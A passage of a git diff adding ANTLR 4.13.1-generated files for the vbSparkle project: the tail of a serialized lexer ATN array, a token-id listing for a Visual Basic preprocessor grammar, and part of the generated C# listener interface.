348, 3, 167, 83, 0, 348, 349, 3, 169, 84, 0, 349, 350, 3, 179, 89, 0, 350, 351, 3, 165, 82, 0, 351, 54, 1, 0, 0, 0, 352, 353, 3, 179, 89, 0, 353, 354, 3, 193, 96, 0, 354, 355, 3, 175, 87, 0, 355, 356, 3, 175, 87, 0, 356, 56, 1, 0, 0, 0, 357, 358, 3, 181, 90, 0, 358, 359, 3, 155, 77, 0, 359, 360, 3, 171, 85, 0, 360, 361, 3, 161, 80, 0, 361, 362, 3, 157, 78, 0, 362, 363, 3, 191, 95, 0, 363, 58, 1, 0, 0, 0, 364, 365, 3, 181, 90, 0, 365, 366, 3, 187, 93, 0, 366, 60, 1, 0, 0, 0, 367, 368, 3, 191, 95, 0, 368, 369, 3, 167, 83, 0, 369, 370, 3, 161, 80, 0, 370, 371, 3, 179, 89, 0, 371, 62, 1, 0, 0, 0, 372, 373, 3, 191, 95, 0, 373, 374, 3, 187, 93, 0, 374, 375, 3, 193, 96, 0, 375, 376, 3, 161, 80, 0, 376, 64, 1, 0, 0, 0, 377, 378, 3, 195, 97, 0, 378, 379, 3, 161, 80, 0, 379, 380, 3, 187, 93, 0, 380, 381, 3, 189, 94, 0, 381, 382, 3, 169, 84, 0, 382, 383, 3, 181, 90, 0, 383, 384, 3, 179, 89, 0, 384, 66, 1, 0, 0, 0, 385, 386, 3, 199, 99, 0, 386, 387, 3, 181, 90, 0, 387, 388, 3, 187, 93, 0, 388, 68, 1, 0, 0, 0, 389, 390, 5, 38, 0, 0, 390, 70, 1, 0, 0, 0, 391, 392, 5, 64, 0, 0, 392, 72, 1, 0, 0, 0, 393, 394, 5, 44, 0, 0, 394, 74, 1, 0, 0, 0, 395, 396, 7, 1, 0, 0, 396, 76, 1, 0, 0, 0, 397, 398, 5, 46, 0, 0, 398, 78, 1, 0, 0, 0, 399, 400, 5, 61, 0, 0, 400, 80, 1, 0, 0, 0, 401, 402, 5, 33, 0, 0, 402, 82, 1, 0, 0, 0, 403, 404, 5, 62, 0, 0, 404, 405, 5, 61, 0, 0, 405, 84, 1, 0, 0, 0, 406, 407, 5, 62, 0, 0, 407, 86, 1, 0, 0, 0, 408, 409, 5, 35, 0, 0, 409, 88, 1, 0, 0, 0, 410, 411, 5, 60, 0, 0, 411, 412, 5, 61, 0, 0, 412, 90, 1, 0, 0, 0, 413, 414, 5, 123, 0, 0, 414, 92, 1, 0, 0, 0, 415, 416, 5, 40, 0, 0, 416, 94, 1, 0, 0, 0, 417, 418, 5, 60, 0, 0, 418, 96, 1, 0, 0, 0, 419, 420, 5, 45, 0, 0, 420, 98, 1, 0, 0, 0, 421, 422, 5, 42, 0, 0, 422, 100, 1, 0, 0, 0, 423, 424, 5, 60, 0, 0, 424, 425, 5, 62, 0, 0, 425, 102, 1, 0, 0, 0, 426, 427, 5, 43, 0, 0, 427, 104, 1, 0, 0, 0, 428, 429, 5, 94, 0, 0, 429, 106, 1, 0, 0, 0, 430, 431, 5, 125, 0, 0, 431, 108, 1, 0, 0, 0, 432, 433, 5, 41, 0, 0, 433, 110, 1, 0, 0, 0, 434, 435, 5, 59, 0, 0, 435, 112, 1, 0, 0, 0, 436, 437, 5, 91, 0, 0, 437, 114, 1, 0, 0, 0, 438, 439, 5, 93, 0, 0, 439, 116, 1, 0, 0, 0, 440, 446, 5, 34, 0, 0, 441, 445, 8, 2, 0, 0, 442, 443, 5, 34, 0, 0, 443, 445, 5, 34, 0, 0, 444, 441, 1, 0, 0, 0, 444, 442, 1, 0, 0, 0, 445, 448, 1, 0, 0, 0, 446, 444, 1, 0, 0, 0, 446, 447, 1, 0, 0, 0, 447, 449, 1, 0, 0, 0, 448, 446, 1, 0, 0, 0, 449, 450, 5, 34, 0, 0, 450, 118, 1, 0, 0, 0, 451, 455, 3, 87, 43, 0, 452, 454, 8, 3, 0, 0, 453, 452, 1, 0, 0, 0, 454, 457, 1, 0, 0, 0, 455, 453, 1, 0, 0, 0, 455, 456, 1, 0, 0, 0, 456, 458, 1, 0, 0, 0, 457, 455, 1, 0, 0, 0, 458, 459, 3, 87, 43, 0, 459, 120, 1, 0, 0, 0, 460, 461, 5, 38, 0, 0, 461, 465, 5, 72, 0, 0, 462, 463, 5, 38, 0, 0, 463, 465, 5, 104, 0, 0, 464, 460, 1, 0, 0, 0, 464, 462, 1, 0, 0, 0, 465, 467, 1, 0, 0, 0, 466, 468, 7, 4, 0, 0, 467, 466, 1, 0, 0, 0, 468, 469, 1, 0, 0, 0, 469, 467, 1, 0, 0, 0, 469, 470, 1, 0, 0, 0, 470, 472, 1, 0, 0, 0, 471, 473, 3, 69, 34, 0, 472, 471, 1, 0, 0, 0, 472, 473, 1, 0, 0, 0, 473, 122, 1, 0, 0, 0, 474, 476, 2, 48, 57, 0, 475, 474, 1, 0, 0, 0, 476, 477, 1, 0, 0, 0, 477, 475, 1, 0, 0, 0, 477, 478, 1, 0, 0, 0, 478, 483, 1, 0, 0, 0, 479, 480, 7, 5, 0, 0, 480, 482, 3, 123, 61, 0, 481, 479, 1, 0, 0, 0, 482, 485, 1, 0, 0, 0, 483, 481, 1, 0, 0, 0, 483, 484, 1, 0, 0, 0, 484, 490, 1, 0, 0, 0, 485, 483, 1, 0, 0, 0, 486, 491, 3, 87, 43, 0, 487, 491, 3, 69, 34, 0, 488, 491, 3, 81, 40, 0, 489, 491, 3, 71, 35, 0, 490, 486, 1, 0, 0, 0, 490, 487, 1, 0, 0, 0, 490, 488, 1, 0, 0, 0, 490, 489, 1, 0, 0, 0, 490, 491, 1, 0, 0, 0, 491, 124, 1, 0, 0, 0, 492, 494, 2, 48, 57, 0, 493, 492, 1, 0, 0, 0, 494, 497, 1, 0, 0, 0, 495, 493, 1, 0, 0, 0, 495, 496, 1, 0, 0, 0, 496, 498, 1, 0, 0, 0, 497, 495, 1, 0, 0, 0, 498, 500, 3, 77, 38, 0, 499, 501, 2, 48, 57, 0, 500, 499, 1, 0, 0, 0, 501, 502, 1, 0, 0, 0, 502, 500, 1, 0, 0, 0, 502, 503, 1, 0, 0, 0, 503, 516, 1, 0, 0, 0, 504, 507, 7, 5, 0, 0, 505, 508, 3, 103, 51, 0, 506, 508, 3, 97, 48, 0, 507, 505, 1, 0, 0, 0, 507, 506, 1, 0, 0, 0, 507, 508, 1, 0, 0, 0, 508, 510, 1, 0, 0, 0, 509, 511, 2, 48, 57, 0, 510, 509, 1, 0, 0, 0, 511, 512, 1, 0, 0, 0, 512, 510, 1, 0, 0, 0, 512, 513, 1, 0, 0, 0, 513, 515, 1, 0, 0, 0, 514, 504, 1, 0, 0, 0, 515, 518, 1, 0, 0, 0, 516, 514, 1, 0, 0, 0, 516, 517, 1, 0, 0, 0, 517, 523, 1, 0, 0, 0, 518, 516, 1, 0, 0, 0, 519, 524, 3, 87, 43, 0, 520, 524, 3, 69, 34, 0, 521, 524, 3, 81, 40, 0, 522, 524, 3, 71, 35, 0, 523, 519, 1, 0, 0, 0, 523, 520, 1, 0, 0, 0, 523, 521, 1, 0, 0, 0, 523, 522, 1, 0, 0, 0, 523, 524, 1, 0, 0, 0, 524, 126, 1, 0, 0, 0, 525, 527, 3, 87, 43, 0, 526, 528, 3, 151, 75, 0, 527, 526, 1, 0, 0, 0, 528, 529, 1, 0, 0, 0, 529, 527, 1, 0, 0, 0, 529, 530, 1, 0, 0, 0, 530, 128, 1, 0, 0, 0, 531, 532, 5, 38, 0, 0, 532, 533, 5, 79, 0, 0, 533, 535, 1, 0, 0, 0, 534, 536, 7, 6, 0, 0, 535, 534, 1, 0, 0, 0, 536, 537, 1, 0, 0, 0, 537, 535, 1, 0, 0, 0, 537, 538, 1, 0, 0, 0, 538, 540, 1, 0, 0, 0, 539, 541, 3, 69, 34, 0, 540, 539, 1, 0, 0, 0, 540, 541, 1, 0, 0, 0, 541, 130, 1, 0, 0, 0, 542, 544, 3, 91, 45, 0, 543, 545, 7, 4, 0, 0, 544, 543, 1, 0, 0, 0, 545, 546, 1, 0, 0, 0, 546, 544, 1, 0, 0, 0, 546, 547, 1, 0, 0, 0, 547, 548, 1, 0, 0, 0, 548, 550, 3, 97, 48, 0, 549, 551, 7, 4, 0, 0, 550, 549, 1, 0, 0, 0, 551, 552, 1, 0, 0, 0, 552, 550, 1, 0, 0, 0, 552, 553, 1, 0, 0, 0, 553, 554, 1, 0, 0, 0, 554, 556, 3, 97, 48, 0, 555, 557, 7, 4, 0, 0, 556, 555, 1, 0, 0, 0, 557, 558, 1, 0, 0, 0, 558, 556, 1, 0, 0, 0, 558, 559, 1, 0, 0, 0, 559, 560, 1, 0, 0, 0, 560, 562, 3, 97, 48, 0, 561, 563, 7, 4, 0, 0, 562, 561, 1, 0, 0, 0, 563, 564, 1, 0, 0, 0, 564, 562, 1, 0, 0, 0, 564, 565, 1, 0, 0, 0, 565, 566, 1, 0, 0, 0, 566, 568, 3, 97, 48, 0, 567, 569, 7, 4, 0, 0, 568, 567, 1, 0, 0, 0, 569, 570, 1, 0, 0, 0, 570, 568, 1, 0, 0, 0, 570, 571, 1, 0, 0, 0, 571, 572, 1, 0, 0, 0, 572, 573, 3, 107, 53, 0, 573, 132, 1, 0, 0, 0, 574, 576, 3, 141, 70, 0, 575, 574, 1, 0, 0, 0, 575, 576, 1, 0, 0, 0, 576, 577, 1, 0, 0, 0, 577, 579, 3, 5, 2, 0, 578, 580, 3, 141, 70, 0, 579, 578, 1, 0, 0, 0, 579, 580, 1, 0, 0, 0, 580, 134, 1, 0, 0, 0, 581, 585, 3, 149, 74, 0, 582, 584, 3, 151, 75, 0, 583, 582, 1, 0, 0, 0, 584, 587, 1, 0, 0, 0, 585, 583, 1, 0, 0, 0, 585, 586, 1, 0, 0, 0, 586, 136, 1, 0, 0, 0, 587, 585, 1, 0, 0, 0, 588, 590, 3, 141, 70, 0, 589, 588, 1, 0, 0, 0, 589, 590, 1, 0, 0, 0, 590, 598, 1, 0, 0, 0, 591, 599, 5, 39, 0, 0, 592, 594, 5, 58, 0, 0, 593, 592, 1, 0, 0, 0, 593, 594, 1, 0, 0, 0, 594, 595, 1, 0, 0, 0, 595, 596, 3, 145, 72, 0, 596, 597, 5, 32, 0, 0, 597, 599, 1, 0, 0, 0, 598, 591, 1, 0, 0, 0, 598, 593, 1, 0, 0, 0, 599, 604, 1, 0, 0, 0, 600, 603, 3, 139, 69, 0, 601, 603, 8, 7, 0, 0, 602, 600, 1, 0, 0, 0, 602, 601, 1, 0, 0, 0, 603, 606, 1, 0, 0, 0, 604, 602, 1, 0, 0, 0, 604, 605, 1, 0, 0, 0, 605, 138, 1, 0, 0, 0, 606, 604, 1, 0, 0, 0, 607, 608, 5, 32, 0, 0, 608, 610, 5, 95, 0, 0, 609, 611, 5, 13, 0, 0, 610, 609, 1, 0, 0, 0, 610, 611, 1, 0, 0, 0, 611, 612, 1, 0, 0, 0, 612, 613, 5, 10, 0, 0, 613, 614, 1, 0, 0, 0, 614, 615, 6, 69, 0, 0, 615, 140, 1, 0, 0, 0, 616, 618, 7, 8, 0, 0, 617, 616, 1, 0, 0, 0, 618, 619, 1, 0, 0, 0, 619, 617, 1, 0, 0, 0, 619, 620, 1, 0, 0, 0, 620, 142, 1, 0, 0, 0, 621, 622, 9, 0, 0, 0, 622, 144, 1, 0, 0, 0, 623, 624, 3, 187, 93, 0, 624, 625, 3, 161, 80, 0, 625, 626, 3, 177, 88, 0, 626, 146, 1, 0, 0, 0, 627, 629, 3, 141, 70, 0, 628, 627, 1, 0, 0, 0, 628, 629, 1, 0, 0, 0, 629, 630, 1, 0, 0, 0, 630, 632, 3, 135, 67, 0, 631, 633, 3, 141, 70, 0, 632, 631, 1, 0, 0, 0, 632, 633, 1, 0, 0, 0, 633, 634, 1, 0, 0, 0, 634, 636, 3, 3, 1, 0, 635, 637, 3, 141, 70, 0, 636, 635, 1, 0, 0, 0, 636, 637, 1, 0, 0, 0, 637, 148, 1, 0, 0, 0, 638, 639, 7, 9, 0, 0, 639, 150, 1, 0, 0, 0, 640, 641, 7, 10, 0, 0, 641, 152, 1, 0, 0, 0, 642, 643, 7, 11, 0, 0, 643, 154, 1, 0, 0, 0, 644, 645, 7, 12, 0, 0, 645, 156, 1, 0, 0, 0, 646, 647, 7, 13, 0, 0, 647, 158, 1, 0, 0, 0, 648, 649, 7, 14, 0, 0, 649, 160, 1, 0, 0, 0, 650, 651, 7, 5, 0, 0, 651, 162, 1, 0, 0, 0, 652, 653, 7, 15, 0, 0, 653, 164, 1, 0, 0, 0, 654, 655, 7, 16, 0, 0, 655, 166, 1, 0, 0, 0, 656, 657, 7, 17, 0, 0, 657, 168, 1, 0, 0, 0, 658, 659, 7, 18, 0, 0, 659, 170, 1, 0, 0, 0, 660, 661, 7, 19, 0, 0, 661, 172, 1, 0, 0, 0, 662, 663, 7, 20, 0, 0, 663, 174, 1, 0, 0, 0, 664, 665, 7, 21, 0, 0, 665, 176, 1, 0, 0, 0, 666, 667, 7, 22, 0, 0, 667, 178, 1, 0, 0, 0, 668, 669, 7, 23, 0, 0, 669, 180, 1, 0, 0, 0, 670, 671, 7, 24, 0, 0, 671, 182, 1, 0, 0, 0, 672, 673, 7, 25, 0, 0, 673, 184, 1, 0, 0, 0, 674, 675, 7, 26, 0, 0, 675, 186, 1, 0, 0, 0, 676, 677, 7, 27, 0, 0, 677, 188, 1, 0, 0, 0, 678, 679, 7, 28, 0, 0, 679, 190, 1, 0, 0, 0, 680, 681, 7, 29, 0, 0, 681, 192, 1, 0, 0, 0, 682, 683, 7, 30, 0, 0, 683, 194, 1, 0, 0, 0, 684, 685, 7, 31, 0, 0, 685, 196, 1, 0, 0, 0, 686, 687, 7, 32, 0, 0, 687, 198, 1, 0, 0, 0, 688, 689, 7, 33, 0, 0, 689, 200, 1, 0, 0, 0, 690, 691, 7, 34, 0, 0, 691, 202, 1, 0, 0, 0, 692, 693, 7, 35, 0, 0, 693, 204, 1, 0, 0, 0, 39, 0, 212, 216, 444, 446, 455, 464, 469, 472, 477, 483, 490, 495, 502, 507, 512, 516, 523, 529, 537, 540, 546, 552, 558, 564, 570, 575, 579, 585, 589, 593, 598, 602, 604, 610, 619, 628, 632, 636, 1, 0, 1, 0] \ No newline at end of file diff --git a/Sources/vbSparkle/VBPreprocessorsLexer.tokens b/Sources/vbSparkle/VBPreprocessorsLexer.tokens new file mode 100644 index 0000000..0a03e29 --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsLexer.tokens @@ -0,0 +1,95 @@ +MACRO_CONST=1 +AND=2 +ATTRIBUTE=3 +BEGIN=4 +BEGINPROPERTY=5 +CLASS=6 +CONST=7 +ELSE=8 +ELSEIF=9 +END_IF=10 +END=11 +ENDPROPERTY=12 +EQV=13 +FALSE=14 +IF=15 +IMP=16 +IS=17 +LIKE=18 +MACRO_IF=19 +MACRO_ELSEIF=20 +MACRO_ELSE=21 +MACRO_END_IF=22 +MOD=23 +NOT=24 +NOTHING=25 +NULL=26 +OBJECT=27 +OR=28 +THEN=29 +TRUE=30 +VERSION=31 +XOR=32 +AMPERSAND=33 +AT=34 +COMMA=35 +DIV=36 +DOT=37 +EQ=38 +EXCLAMATIONMARK=39 +GEQ=40 +GT=41 +HASH=42 +LEQ=43 +LBRACE=44 +LPAREN=45 +LT=46 +MINUS=47 +MULT=48 +NEQ=49 +PLUS=50 +POW=51 +RBRACE=52 +RPAREN=53 +SEMICOLON=54 +L_SQUARE_BRACKET=55 +R_SQUARE_BRACKET=56 +STRINGLITERAL=57 +DATELITERAL=58 +HEXLITERAL=59 +INTEGERLITERAL=60 +DOUBLELITERAL=61 +FILENUMBER=62 +OCTALLITERAL=63 +GUID=64 +NEWLINE=65 +IDENTIFIER=66 +COMMENT=67 +LINE_CONTINUATION=68 +WS=69 +ANYCHAR=70 +REM=71 +LABEL_L=72 +'&'=33 +'@'=34 +','=35 +'.'=37 +'='=38 +'!'=39 +'>='=40 +'>'=41 +'#'=42 +'<='=43 +'{'=44 +'('=45 +'<'=46 +'-'=47 +'*'=48 +'<>'=49 +'+'=50 +'^'=51 +'}'=52 +')'=53 +';'=54 +'['=55 +']'=56 diff --git a/Sources/vbSparkle/VBPreprocessorsListener.cs b/Sources/vbSparkle/VBPreprocessorsListener.cs new file mode 100644 index 0000000..32d4946 --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsListener.cs @@ -0,0 +1,569 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBPreprocessors.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using Antlr4.Runtime.Misc; +using IParseTreeListener = Antlr4.Runtime.Tree.IParseTreeListener; +using IToken = Antlr4.Runtime.IToken; + +/// +/// This interface defines a complete listener for a parse tree produced by +/// . +/// +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public interface IVBPreprocessorsListener : IParseTreeListener { + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterStartRule([NotNull] VBPreprocessorsParser.StartRuleContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitStartRule([NotNull] VBPreprocessorsParser.StartRuleContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroConst([NotNull] VBPreprocessorsParser.MacroConstContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroConst([NotNull] VBPreprocessorsParser.MacroConstContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCodeBlock([NotNull] VBPreprocessorsParser.CodeBlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCodeBlock([NotNull] VBPreprocessorsParser.CodeBlockContext context); + /// + /// Enter a parse tree produced by the vmacroIf + /// labeled alternative in . + /// + /// The parse tree. + void EnterVmacroIf([NotNull] VBPreprocessorsParser.VmacroIfContext context); + /// + /// Exit a parse tree produced by the vmacroIf + /// labeled alternative in . + /// + /// The parse tree. + void ExitVmacroIf([NotNull] VBPreprocessorsParser.VmacroIfContext context); + /// + /// Enter a parse tree produced by the vmacroConst + /// labeled alternative in . + /// + /// The parse tree. + void EnterVmacroConst([NotNull] VBPreprocessorsParser.VmacroConstContext context); + /// + /// Exit a parse tree produced by the vmacroConst + /// labeled alternative in . + /// + /// The parse tree. + void ExitVmacroConst([NotNull] VBPreprocessorsParser.VmacroConstContext context); + /// + /// Enter a parse tree produced by the vcommentBlock + /// labeled alternative in . + /// + /// The parse tree. + void EnterVcommentBlock([NotNull] VBPreprocessorsParser.VcommentBlockContext context); + /// + /// Exit a parse tree produced by the vcommentBlock + /// labeled alternative in . + /// + /// The parse tree. + void ExitVcommentBlock([NotNull] VBPreprocessorsParser.VcommentBlockContext context); + /// + /// Enter a parse tree produced by the vcodeBlock + /// labeled alternative in . + /// + /// The parse tree. + void EnterVcodeBlock([NotNull] VBPreprocessorsParser.VcodeBlockContext context); + /// + /// Exit a parse tree produced by the vcodeBlock + /// labeled alternative in . + /// + /// The parse tree. + void ExitVcodeBlock([NotNull] VBPreprocessorsParser.VcodeBlockContext context); + /// + /// Enter a parse tree produced by the vlineLabel + /// labeled alternative in . + /// + /// The parse tree. + void EnterVlineLabel([NotNull] VBPreprocessorsParser.VlineLabelContext context); + /// + /// Exit a parse tree produced by the vlineLabel + /// labeled alternative in . + /// + /// The parse tree. + void ExitVlineLabel([NotNull] VBPreprocessorsParser.VlineLabelContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterNonMacroCodeBlockX([NotNull] VBPreprocessorsParser.NonMacroCodeBlockXContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitNonMacroCodeBlockX([NotNull] VBPreprocessorsParser.NonMacroCodeBlockXContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleInfo([NotNull] VBPreprocessorsParser.ModuleInfoContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleInfo([NotNull] VBPreprocessorsParser.ModuleInfoContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferences([NotNull] VBPreprocessorsParser.ModuleReferencesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferences([NotNull] VBPreprocessorsParser.ModuleReferencesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReference([NotNull] VBPreprocessorsParser.ModuleReferenceContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReference([NotNull] VBPreprocessorsParser.ModuleReferenceContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferenceValue([NotNull] VBPreprocessorsParser.ModuleReferenceValueContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferenceValue([NotNull] VBPreprocessorsParser.ModuleReferenceValueContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferenceComponent([NotNull] VBPreprocessorsParser.ModuleReferenceComponentContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferenceComponent([NotNull] VBPreprocessorsParser.ModuleReferenceComponentContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleHeader([NotNull] VBPreprocessorsParser.ModuleHeaderContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleHeader([NotNull] VBPreprocessorsParser.ModuleHeaderContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleConfig([NotNull] VBPreprocessorsParser.ModuleConfigContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleConfig([NotNull] VBPreprocessorsParser.ModuleConfigContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleConfigElement([NotNull] VBPreprocessorsParser.ModuleConfigElementContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleConfigElement([NotNull] VBPreprocessorsParser.ModuleConfigElementContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAmbiguousIdentifier([NotNull] VBPreprocessorsParser.AmbiguousIdentifierContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAmbiguousIdentifier([NotNull] VBPreprocessorsParser.AmbiguousIdentifierContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleAttributes([NotNull] VBPreprocessorsParser.ModuleAttributesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleAttributes([NotNull] VBPreprocessorsParser.ModuleAttributesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroIfThenElseStmt([NotNull] VBPreprocessorsParser.MacroIfThenElseStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroIfThenElseStmt([NotNull] VBPreprocessorsParser.MacroIfThenElseStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroIfBlockCondStmt([NotNull] VBPreprocessorsParser.MacroIfBlockCondStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroIfBlockCondStmt([NotNull] VBPreprocessorsParser.MacroIfBlockCondStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroIfBlockStmt([NotNull] VBPreprocessorsParser.MacroIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroIfBlockStmt([NotNull] VBPreprocessorsParser.MacroIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroElseIfBlockStmt([NotNull] VBPreprocessorsParser.MacroElseIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroElseIfBlockStmt([NotNull] VBPreprocessorsParser.MacroElseIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroElseBlockStmt([NotNull] VBPreprocessorsParser.MacroElseBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroElseBlockStmt([NotNull] VBPreprocessorsParser.MacroElseBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCommentBlock([NotNull] VBPreprocessorsParser.CommentBlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCommentBlock([NotNull] VBPreprocessorsParser.CommentBlockContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLineLabel([NotNull] VBPreprocessorsParser.LineLabelContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLineLabel([NotNull] VBPreprocessorsParser.LineLabelContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterNonMacroCodeBlockLine([NotNull] VBPreprocessorsParser.NonMacroCodeBlockLineContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitNonMacroCodeBlockLine([NotNull] VBPreprocessorsParser.NonMacroCodeBlockLineContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterNonMacroCodeStmt([NotNull] VBPreprocessorsParser.NonMacroCodeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitNonMacroCodeStmt([NotNull] VBPreprocessorsParser.NonMacroCodeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterControlProperties([NotNull] VBPreprocessorsParser.ControlPropertiesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitControlProperties([NotNull] VBPreprocessorsParser.ControlPropertiesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_Properties([NotNull] VBPreprocessorsParser.Cp_PropertiesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_Properties([NotNull] VBPreprocessorsParser.Cp_PropertiesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_NestedProperty([NotNull] VBPreprocessorsParser.Cp_NestedPropertyContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_NestedProperty([NotNull] VBPreprocessorsParser.Cp_NestedPropertyContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_ControlType([NotNull] VBPreprocessorsParser.Cp_ControlTypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_ControlType([NotNull] VBPreprocessorsParser.Cp_ControlTypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterComplexType([NotNull] VBPreprocessorsParser.ComplexTypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitComplexType([NotNull] VBPreprocessorsParser.ComplexTypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_ControlIdentifier([NotNull] VBPreprocessorsParser.Cp_ControlIdentifierContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_ControlIdentifier([NotNull] VBPreprocessorsParser.Cp_ControlIdentifierContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAttributeStmt([NotNull] VBPreprocessorsParser.AttributeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAttributeStmt([NotNull] VBPreprocessorsParser.AttributeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterIfConditionStmt([NotNull] VBPreprocessorsParser.IfConditionStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitIfConditionStmt([NotNull] VBPreprocessorsParser.IfConditionStmtContext context); + /// + /// Enter a parse tree produced by the vsStruct + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsStruct([NotNull] VBPreprocessorsParser.VsStructContext context); + /// + /// Exit a parse tree produced by the vsStruct + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsStruct([NotNull] VBPreprocessorsParser.VsStructContext context); + /// + /// Enter a parse tree produced by the vsLiteral + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsLiteral([NotNull] VBPreprocessorsParser.VsLiteralContext context); + /// + /// Exit a parse tree produced by the vsLiteral + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsLiteral([NotNull] VBPreprocessorsParser.VsLiteralContext context); + /// + /// Enter a parse tree produced by the vsConstant + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsConstant([NotNull] VBPreprocessorsParser.VsConstantContext context); + /// + /// Exit a parse tree produced by the vsConstant + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsConstant([NotNull] VBPreprocessorsParser.VsConstantContext context); + /// + /// Enter a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsUnaryOperation([NotNull] VBPreprocessorsParser.VsUnaryOperationContext context); + /// + /// Exit a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsUnaryOperation([NotNull] VBPreprocessorsParser.VsUnaryOperationContext context); + /// + /// Enter a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsDualOperation([NotNull] VBPreprocessorsParser.VsDualOperationContext context); + /// + /// Exit a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// + /// The parse tree. + void 